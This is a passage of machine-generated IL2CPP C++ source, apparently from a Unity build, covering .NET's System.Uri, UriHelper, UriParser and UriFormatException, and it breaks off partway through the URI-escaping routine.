RuntimeObject ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, RuntimeObject * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Void System.Collections.Generic.Dictionary`2<System.Object,System.Object>::.ctor(System.Int32) extern "C" IL2CPP_METHOD_ATTR void Dictionary_2__ctor_m2895EBB13AA7D9232058658A7DC404DC5F608923_gshared (Dictionary_2_t32F25F093828AA9F93CB11C2A2B4648FD62A09BA * __this, int32_t p0, const RuntimeMethod* method); // System.Void System.Collections.Generic.Dictionary`2<System.Object,System.Object>::set_Item(!0,!1) extern "C" IL2CPP_METHOD_ATTR void Dictionary_2_set_Item_m466D001F105E25DEB5C9BCB17837EE92A27FDE93_gshared (Dictionary_2_t32F25F093828AA9F93CB11C2A2B4648FD62A09BA * __this, RuntimeObject * p0, RuntimeObject * p1, const RuntimeMethod* method); // System.Boolean System.Collections.Generic.Dictionary`2<System.Object,System.Object>::TryGetValue(!0,!1&) extern "C" IL2CPP_METHOD_ATTR bool Dictionary_2_TryGetValue_m3455807C552312C60038DF52EF328C3687442DE3_gshared (Dictionary_2_t32F25F093828AA9F93CB11C2A2B4648FD62A09BA * __this, RuntimeObject * p0, RuntimeObject ** p1, const RuntimeMethod* method); // System.Int32 System.Collections.Generic.Dictionary`2<System.Object,System.Object>::get_Count() extern "C" IL2CPP_METHOD_ATTR int32_t Dictionary_2_get_Count_m1B06EB9D28DDA7E38DDC20D88532DFF246F03DF6_gshared (Dictionary_2_t32F25F093828AA9F93CB11C2A2B4648FD62A09BA * __this, const RuntimeMethod* method); // System.Void System.Object::.ctor() extern "C" IL2CPP_METHOD_ATTR void Object__ctor_m925ECA5E85CA100E3FB86A4F9E15C120E9A184C0 (RuntimeObject * __this, const RuntimeMethod* method); // System.Void System.FormatException::.ctor() extern "C" IL2CPP_METHOD_ATTR void FormatException__ctor_m6DAD3E32EE0445420B4893EA683425AC3441609B (FormatException_t2808E076CDE4650AF89F55FD78F49290D0EC5BDC * __this, const RuntimeMethod* method); // System.Void System.FormatException::.ctor(System.String) extern "C" IL2CPP_METHOD_ATTR void FormatException__ctor_m89167FF9884AE20232190FE9286DC50E146A4F14 (FormatException_t2808E076CDE4650AF89F55FD78F49290D0EC5BDC * __this, String_t* p0, const RuntimeMethod* method); // System.Void System.FormatException::.ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext) extern "C" IL2CPP_METHOD_ATTR void FormatException__ctor_mDC141C414E24BE865FC8853970BF83C5B8C7676C (FormatException_t2808E076CDE4650AF89F55FD78F49290D0EC5BDC * __this, SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26 * p0, StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034 p1, const RuntimeMethod* method); // System.Void System.Exception::GetObjectData(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext) extern "C" IL2CPP_METHOD_ATTR void Exception_GetObjectData_m76F759ED00FA218FFC522C32626B851FDE849AD6 (Exception_t * __this, SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26 * p0, StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034 p1, const RuntimeMethod* method); // System.String SR::GetString(System.String) extern "C" IL2CPP_METHOD_ATTR String_t* SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7 (String_t* ___name0, const RuntimeMethod* method); // System.Void System.UriFormatException::.ctor(System.String) extern "C" IL2CPP_METHOD_ATTR void UriFormatException__ctor_mE1D46962CC168EB07B59D1265F5734A8F587567D (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * __this, String_t* ___textString0, const RuntimeMethod* method); // System.Int32 System.Runtime.CompilerServices.RuntimeHelpers::get_OffsetToStringData() extern "C" IL2CPP_METHOD_ATTR int32_t RuntimeHelpers_get_OffsetToStringData_mF3B79A906181F1A2734590DA161E2AF183853F8B (const RuntimeMethod* method); // System.Int32 System.Math::Min(System.Int32,System.Int32) extern "C" IL2CPP_METHOD_ATTR int32_t Math_Min_mC950438198519FB2B0260FCB91220847EE4BB525 (int32_t p0, int32_t p1, const RuntimeMethod* method); // System.Char[] System.UriHelper::EnsureDestinationSize(System.Char*,System.Char[],System.Int32,System.Int16,System.Int16,System.Int32&,System.Int32) extern "C" IL2CPP_METHOD_ATTR CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* UriHelper_EnsureDestinationSize_m64F4907D0411AAAD1C05E0AD0D2EB120DCBA9217 (Il2CppChar* ___pStr0, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest1, int32_t ___currentInputPos2, int16_t ___charsToAdd3, int16_t ___minReallocateChars4, int32_t* ___destPos5, int32_t ___prevInputPos6, const RuntimeMethod* method); // System.Text.Encoding System.Text.Encoding::get_UTF8() extern "C" IL2CPP_METHOD_ATTR Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * Encoding_get_UTF8_m67C8652936B681E7BC7505E459E88790E0FF16D9 (const RuntimeMethod* method); // System.Void System.UriHelper::EscapeAsciiChar(System.Char,System.Char[],System.Int32&) extern "C" IL2CPP_METHOD_ATTR void UriHelper_EscapeAsciiChar_mFD7DE796BD53CBD2B1E73080FE0346D37F358902 (Il2CppChar ___ch0, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___to1, int32_t* ___pos2, const RuntimeMethod* method); // System.Char System.UriHelper::EscapedAscii(System.Char,System.Char) extern "C" IL2CPP_METHOD_ATTR Il2CppChar UriHelper_EscapedAscii_m06D556717795E649EBBB30E4CBCF3D221C1FEB78 (Il2CppChar ___digit0, Il2CppChar ___next1, const RuntimeMethod* method); // System.Boolean System.UriHelper::IsUnreserved(System.Char) extern "C" IL2CPP_METHOD_ATTR bool UriHelper_IsUnreserved_mAADC7DCEEA864AFB49311696ABBDD76811FAAE48 (Il2CppChar ___c0, const RuntimeMethod* method); // System.Boolean System.UriHelper::IsReservedUnreservedOrHash(System.Char) extern "C" IL2CPP_METHOD_ATTR bool UriHelper_IsReservedUnreservedOrHash_m3D7256DABA7F540F8D379FC1D1C54F1C63E46059 (Il2CppChar ___c0, const RuntimeMethod* method); // System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32) extern "C" IL2CPP_METHOD_ATTR void Buffer_BlockCopy_m1F882D595976063718AF6E405664FC761924D353 (RuntimeArray * p0, int32_t p1, RuntimeArray * p2, int32_t p3, int32_t p4, const RuntimeMethod* method); // System.Char[] System.UriHelper::UnescapeString(System.Char*,System.Int32,System.Int32,System.Char[],System.Int32&,System.Char,System.Char,System.Char,System.UnescapeMode,System.UriParser,System.Boolean) extern "C" IL2CPP_METHOD_ATTR CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* UriHelper_UnescapeString_mD4815AEAF34E25D31AA4BB4A76B88055F0A49E89 (Il2CppChar* ___pStr0, int32_t ___start1, int32_t ___end2, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest3, int32_t* ___destPosition4, Il2CppChar ___rsvd15, Il2CppChar ___rsvd26, Il2CppChar ___rsvd37, int32_t ___unescapeMode8, UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___syntax9, bool ___isQuery10, const RuntimeMethod* method); // System.Boolean System.Uri::IriParsingStatic(System.UriParser) extern "C" IL2CPP_METHOD_ATTR bool Uri_IriParsingStatic_m39FC9677B4B9EFBADF814F2EEA58280F35A1D3E5 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___syntax0, const RuntimeMethod* method); // System.Boolean System.UriHelper::IsNotSafeForUnescape(System.Char) extern "C" IL2CPP_METHOD_ATTR bool UriHelper_IsNotSafeForUnescape_m1D0461E7C5A3CFBD7A2A7F7322B66BC68CCE741D (Il2CppChar ___ch0, const RuntimeMethod* method); // System.Boolean System.IriHelper::CheckIriUnicodeRange(System.Char,System.Boolean) extern "C" IL2CPP_METHOD_ATTR bool IriHelper_CheckIriUnicodeRange_mA9BAAD6D244ADEE8986FDC0DFB3DFDA90C093A6C (Il2CppChar ___unicode0, bool ___isQuery1, const RuntimeMethod* method); // System.Void System.Text.EncoderReplacementFallback::.ctor(System.String) extern "C" IL2CPP_METHOD_ATTR void EncoderReplacementFallback__ctor_mAE97C6B5EF9A81A90315A21E68271FAE87A738FD (EncoderReplacementFallback_tC2E8A94C82BBF7A4CFC8E3FDBA8A381DCF29F998 * __this, String_t* p0, const RuntimeMethod* method); // System.Void System.Text.Encoding::set_EncoderFallback(System.Text.EncoderFallback) extern "C" IL2CPP_METHOD_ATTR void Encoding_set_EncoderFallback_m24306F093457AE12D59A36AB84F1E03C840BD10A (Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * __this, EncoderFallback_tDE342346D01608628F1BCEBB652D31009852CF63 * p0, const RuntimeMethod* method); // System.Void System.Text.DecoderReplacementFallback::.ctor(System.String) extern "C" IL2CPP_METHOD_ATTR void DecoderReplacementFallback__ctor_m9D82FC93423AD9B954F28E30B20BF14DAFB01A5B (DecoderReplacementFallback_t8CF74B2DAE2A08AEA7DF6366778D2E3EA75FC742 * __this, String_t* p0, const RuntimeMethod* method); // System.Void System.Text.Encoding::set_DecoderFallback(System.Text.DecoderFallback) extern "C" IL2CPP_METHOD_ATTR void Encoding_set_DecoderFallback_mB321EB8D6C34B8935A169C0E4FAC7A4E0A99FACC (Encoding_t7837A3C0F55EAE0E3959A53C6D6E88B113ED78A4 * __this, DecoderFallback_t128445EB7676870485230893338EF044F6B72F60 * p0, const RuntimeMethod* method); // System.Void System.UriHelper::MatchUTF8Sequence(System.Char*,System.Char[],System.Int32&,System.Char[],System.Int32,System.Byte[],System.Int32,System.Boolean,System.Boolean) extern "C" IL2CPP_METHOD_ATTR void UriHelper_MatchUTF8Sequence_m4835D9BB77C2701643B14D6FFD3D7057F8C9007F (Il2CppChar* ___pDest0, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest1, int32_t* ___destOffset2, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___unescapedChars3, int32_t ___charCount4, ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821* ___bytes5, int32_t ___byteCount6, bool ___isQuery7, bool ___iriParsing8, const RuntimeMethod* method); // System.Boolean System.Char::IsHighSurrogate(System.Char) extern "C" IL2CPP_METHOD_ATTR bool Char_IsHighSurrogate_m64C60C09A8561520E43C8527D3DC38FF97E6274D (Il2CppChar p0, const RuntimeMethod* method); // System.Boolean System.IriHelper::CheckIriUnicodeRange(System.Char,System.Char,System.Boolean&,System.Boolean) extern "C" IL2CPP_METHOD_ATTR bool IriHelper_CheckIriUnicodeRange_m5ED29083C22062AEAB8B5787C9A27CFEEC397AD9 (Il2CppChar ___highSurr0, Il2CppChar ___lowSurr1, bool* ___surrogatePair2, bool ___isQuery3, const RuntimeMethod* method); // System.Boolean System.Uri::IsBidiControlCharacter(System.Char) extern "C" IL2CPP_METHOD_ATTR bool Uri_IsBidiControlCharacter_mB14EA5816A434B7CE382EB9ACBD1432916EC341D (Il2CppChar ___ch0, const RuntimeMethod* method); // System.Boolean System.UriParser::get_ShouldUseLegacyV2Quirks() extern "C" IL2CPP_METHOD_ATTR bool UriParser_get_ShouldUseLegacyV2Quirks_mD4C8DF67677ACCCC3B5E026099ECC0BDA24D96DD (const RuntimeMethod* method); // System.Int32 System.String::IndexOf(System.Char) extern "C" IL2CPP_METHOD_ATTR int32_t String_IndexOf_m2909B8CF585E1BD0C81E11ACA2F48012156FD5BD (String_t* __this, Il2CppChar p0, const RuntimeMethod* method); // System.Boolean System.Uri::IsAsciiLetterOrDigit(System.Char) extern "C" IL2CPP_METHOD_ATTR bool Uri_IsAsciiLetterOrDigit_mEBA81E735141504B5804F0B3C94EC39B24AF8661 (Il2CppChar ___character0, const RuntimeMethod* method); // System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle) extern "C" IL2CPP_METHOD_ATTR void RuntimeHelpers_InitializeArray_m29F50CDFEEE0AB868200291366253DD4737BC76A (RuntimeArray * p0, RuntimeFieldHandle_t844BDF00E8E6FE69D9AEAA7657F09018B864F4EF p1, const RuntimeMethod* method); // System.UriFormatException System.Uri::ParseMinimal() extern "C" IL2CPP_METHOD_ATTR UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * Uri_ParseMinimal_m35FCFE52F12315DA60733B807E7C0AB408C0A9CF (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * __this, const RuntimeMethod* method); // System.Boolean System.Uri::get_UserDrivenParsing() extern "C" IL2CPP_METHOD_ATTR bool Uri_get_UserDrivenParsing_mFF27964894B5C0432C37E425F319D6C915BCDC39 (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * __this, const RuntimeMethod* method); // System.Type System.Object::GetType() extern "C" IL2CPP_METHOD_ATTR Type_t * Object_GetType_m2E0B62414ECCAA3094B703790CE88CBB2F83EA60 (RuntimeObject * __this, const RuntimeMethod* method); // System.String SR::GetString(System.String,System.Object[]) extern "C" IL2CPP_METHOD_ATTR String_t* SR_GetString_m9548BD6DD52DFDB46372F211078AE57FA2401E39 (String_t* ___name0, ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A* ___args1, const RuntimeMethod* method); // System.Void System.InvalidOperationException::.ctor(System.String) extern "C" IL2CPP_METHOD_ATTR void InvalidOperationException__ctor_m72027D5F1D513C25C05137E203EEED8FD8297706 (InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 * __this, String_t* p0, const RuntimeMethod* method); // System.Boolean System.Uri::get_IsAbsoluteUri() extern "C" IL2CPP_METHOD_ATTR bool Uri_get_IsAbsoluteUri_m8C189085F1C675DBC3148AA70C38074EC075D722 (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * __this, const RuntimeMethod* method); // System.Uri System.Uri::ResolveHelper(System.Uri,System.Uri,System.String&,System.Boolean&,System.UriFormatException&) extern "C" IL2CPP_METHOD_ATTR Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * Uri_ResolveHelper_mEDF1549C3E9AC1CF6177DCF93B17D574411916BC (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___baseUri0, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___relativeUri1, String_t** ___newUriString2, bool* ___userEscaped3, UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** ___e4, const RuntimeMethod* method); // System.Boolean System.Uri::op_Inequality(System.Uri,System.Uri) extern "C" IL2CPP_METHOD_ATTR bool Uri_op_Inequality_m07015206F59460E87CDE2A8D303D5712E30A7F6B (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___uri10, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___uri21, const RuntimeMethod* method); // System.String System.Uri::get_OriginalString() extern "C" IL2CPP_METHOD_ATTR String_t* Uri_get_OriginalString_m56099E46276F0A52524347F1F46A2F88E948504F (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * __this, const RuntimeMethod* method); // System.Void System.ArgumentOutOfRangeException::.ctor(System.String,System.Object,System.String) extern "C" IL2CPP_METHOD_ATTR void ArgumentOutOfRangeException__ctor_m755B01B4B4595B447596E3281F22FD7CE6DAE378 (ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA * __this, String_t* p0, RuntimeObject * p1, String_t* p2, const RuntimeMethod* method); // System.Void System.ArgumentOutOfRangeException::.ctor(System.String) extern "C" IL2CPP_METHOD_ATTR void ArgumentOutOfRangeException__ctor_m6B36E60C989DC798A8B44556DB35960282B133A6 (ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA * __this, String_t* p0, const RuntimeMethod* method); // System.String System.Uri::GetComponentsHelper(System.UriComponents,System.UriFormat) extern "C" IL2CPP_METHOD_ATTR String_t* Uri_GetComponentsHelper_m28B0D80FD94A40685C0F70652AB26755C457B2D3 (Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * __this, int32_t ___uriComponents0, int32_t ___uriFormat1, const RuntimeMethod* method); // System.Void System.Collections.Generic.Dictionary`2<System.String,System.UriParser>::.ctor(System.Int32) inline void Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445 (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * __this, int32_t p0, const RuntimeMethod* method) { (( void (*) (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE *, int32_t, const RuntimeMethod*))Dictionary_2__ctor_m2895EBB13AA7D9232058658A7DC404DC5F608923_gshared)(__this, p0, method); } // System.Void System.UriParser/BuiltInUriParser::.ctor(System.String,System.Int32,System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR void BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * __this, String_t* ___lwrCaseScheme0, int32_t ___defaultPort1, int32_t ___syntaxFlags2, const RuntimeMethod* method); // System.String System.UriParser::get_SchemeName() extern "C" IL2CPP_METHOD_ATTR String_t* UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, const RuntimeMethod* method); // System.Void System.Collections.Generic.Dictionary`2<System.String,System.UriParser>::set_Item(!0,!1) inline void Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * __this, String_t* p0, UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * p1, const RuntimeMethod* method) { (( void (*) (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE *, String_t*, UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC *, const RuntimeMethod*))Dictionary_2_set_Item_m466D001F105E25DEB5C9BCB17837EE92A27FDE93_gshared)(__this, p0, p1, method); } // System.Boolean System.UriParser::IsFullMatch(System.UriSyntaxFlags,System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR bool UriParser_IsFullMatch_m7B5F47A62FA721E550C5439FAA4C6AFAC34EB23E (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, int32_t ___expected1, const RuntimeMethod* method); // System.Boolean System.Collections.Generic.Dictionary`2<System.String,System.UriParser>::TryGetValue(!0,!1&) inline bool Dictionary_2_TryGetValue_mB7FEE5E187FD932CA98FA958AFCC096E123BCDC4 (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * __this, String_t* p0, UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** p1, const RuntimeMethod* method) { return (( bool (*) (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE *, String_t*, UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC **, const RuntimeMethod*))Dictionary_2_TryGetValue_m3455807C552312C60038DF52EF328C3687442DE3_gshared)(__this, p0, p1, method); } // System.Void System.Threading.Monitor::Enter(System.Object,System.Boolean&) extern "C" IL2CPP_METHOD_ATTR void Monitor_Enter_mC5B353DD83A0B0155DF6FBCC4DF5A580C25534C5 (RuntimeObject * p0, bool* p1, const RuntimeMethod* method); // System.Int32 System.Collections.Generic.Dictionary`2<System.String,System.UriParser>::get_Count() inline int32_t Dictionary_2_get_Count_mEC5A51E9EC624CA697AFE307D4CD767026962AE3 (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * __this, const RuntimeMethod* method) { return (( int32_t (*) (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE *, const RuntimeMethod*))Dictionary_2_get_Count_m1B06EB9D28DDA7E38DDC20D88532DFF246F03DF6_gshared)(__this, method); } // System.Void System.Threading.Monitor::Exit(System.Object) extern "C" IL2CPP_METHOD_ATTR void Monitor_Exit_m49A1E5356D984D0B934BB97A305E2E5E207225C2 (RuntimeObject * p0, const RuntimeMethod* method); // System.Boolean System.UriParser::InFact(System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR bool UriParser_InFact_mDD42FA932B6830D99AA04C2AE7875BA5067C86F3 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, const RuntimeMethod* method); // System.Void System.UriParser::.ctor(System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR void UriParser__ctor_mAF168F2B88BC5301B722C1BAAD45E381FBA22E3D (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, const RuntimeMethod* method); // System.Void System.ComponentModel.TypeConverter::.ctor() extern "C" IL2CPP_METHOD_ATTR void TypeConverter__ctor_m7F8A006E775CCB83A8ACB042B296E48B0AE501CD (TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB * __this, const RuntimeMethod* method); // System.Void System.PlatformNotSupportedException::.ctor() extern "C" IL2CPP_METHOD_ATTR void PlatformNotSupportedException__ctor_m651139B17C9EE918551490BC675754EA8EA3E7C7 (PlatformNotSupportedException_t14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5 * __this, const RuntimeMethod* method); #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void System.Uri_MoreInfo::.ctor() extern "C" IL2CPP_METHOD_ATTR void MoreInfo__ctor_mFE29F028646C12EDCAF7F0F78F9A85D52C10B83C (MoreInfo_t83B9EC79244C26B468C115E54C0BEF09BB2E05B5 * __this, const RuntimeMethod* method) { { Object__ctor_m925ECA5E85CA100E3FB86A4F9E15C120E9A184C0(__this, /*hidden argument*/NULL); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void System.Uri_UriInfo::.ctor() extern "C" IL2CPP_METHOD_ATTR void UriInfo__ctor_m24EFE7B4E03C9FFB8B797770D626680947C87D98 (UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E * __this, const RuntimeMethod* method) { { Object__ctor_m925ECA5E85CA100E3FB86A4F9E15C120E9A184C0(__this, /*hidden argument*/NULL); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void System.UriFormatException::.ctor() extern "C" IL2CPP_METHOD_ATTR void UriFormatException__ctor_mBA5F8C423C09F600B1AF895521C892EA356CA424 (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * __this, const RuntimeMethod* method) { { FormatException__ctor_m6DAD3E32EE0445420B4893EA683425AC3441609B(__this, /*hidden argument*/NULL); return; } } // System.Void System.UriFormatException::.ctor(System.String) extern "C" IL2CPP_METHOD_ATTR void UriFormatException__ctor_mE1D46962CC168EB07B59D1265F5734A8F587567D (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * __this, String_t* ___textString0, const RuntimeMethod* method) { { String_t* L_0 = ___textString0; FormatException__ctor_m89167FF9884AE20232190FE9286DC50E146A4F14(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void System.UriFormatException::.ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext) extern "C" IL2CPP_METHOD_ATTR void UriFormatException__ctor_mE7F5B073E9F9DB5F22536C54959BEB0D1E7DA1D5 (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * __this, SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26 * ___serializationInfo0, StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034 ___streamingContext1, const RuntimeMethod* method) { { SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26 * L_0 = ___serializationInfo0; StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034 L_1 = ___streamingContext1; FormatException__ctor_mDC141C414E24BE865FC8853970BF83C5B8C7676C(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void System.UriFormatException::System.Runtime.Serialization.ISerializable.GetObjectData(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext) extern "C" IL2CPP_METHOD_ATTR void UriFormatException_System_Runtime_Serialization_ISerializable_GetObjectData_mED4C06AC35B7F94955ECC0D8F00383888C1127DC (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * __this, SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26 * ___serializationInfo0, StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034 ___streamingContext1, const RuntimeMethod* method) { { SerializationInfo_t1BB80E9C9DEA52DBF464487234B045E2930ADA26 * L_0 = ___serializationInfo0; StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034 L_1 = ___streamingContext1; Exception_GetObjectData_m76F759ED00FA218FFC522C32626B851FDE849AD6(__this, L_0, L_1, /*hidden argument*/NULL); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Char[] System.UriHelper::EscapeString(System.String,System.Int32,System.Int32,System.Char[],System.Int32U26,System.Boolean,System.Char,System.Char,System.Char) extern "C" IL2CPP_METHOD_ATTR CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* UriHelper_EscapeString_mF0077A016F05127923308DF7E7E99BD7B9837E8B (String_t* ___input0, int32_t ___start1, int32_t ___end2, CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___dest3, int32_t* ___destPos4, bool ___isUriString5, Il2CppChar ___force16, Il2CppChar ___force27, Il2CppChar ___rsvd8, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriHelper_EscapeString_mF0077A016F05127923308DF7E7E99BD7B9837E8B_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; uint8_t* V_2 = NULL; Il2CppChar* V_3 = NULL; String_t* V_4 = NULL; Il2CppChar V_5 = 0x0; int16_t V_6 = 0; int16_t V_7 = 0; int16_t V_8 = 0; int32_t V_9 = 0; int32_t G_B35_0 = 0; { int32_t L_0 = ___end2; int32_t L_1 = ___start1; if ((((int32_t)((int32_t)il2cpp_codegen_subtract((int32_t)L_0, (int32_t)L_1))) < ((int32_t)((int32_t)65520)))) { goto IL_001a; } } { String_t* L_2 = SR_GetString_m3FC710B15474A9B651DA02B303241B6D8B87E2A7(_stringLiteral8313799DB2EC33E29A24C7AA3B2B19EE6B301F73, /*hidden argument*/NULL); UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A * L_3 = (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A *)il2cpp_codegen_object_new(UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_il2cpp_TypeInfo_var); UriFormatException__ctor_mE1D46962CC168EB07B59D1265F5734A8F587567D(L_3, L_2, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_3, NULL, UriHelper_EscapeString_mF0077A016F05127923308DF7E7E99BD7B9837E8B_RuntimeMethod_var); } IL_001a: { int32_t L_4 = ___start1; V_0 = L_4; int32_t L_5 = ___start1; V_1 = L_5; int8_t* L_6 = (int8_t*) alloca((((uintptr_t)((int32_t)160)))); memset(L_6,0,(((uintptr_t)((int32_t)160)))); V_2 = (uint8_t*)(L_6); String_t* L_7 = ___input0; V_4 = L_7; String_t* L_8 = V_4; V_3 = (Il2CppChar*)(((uintptr_t)L_8)); Il2CppChar* L_9 = V_3; if 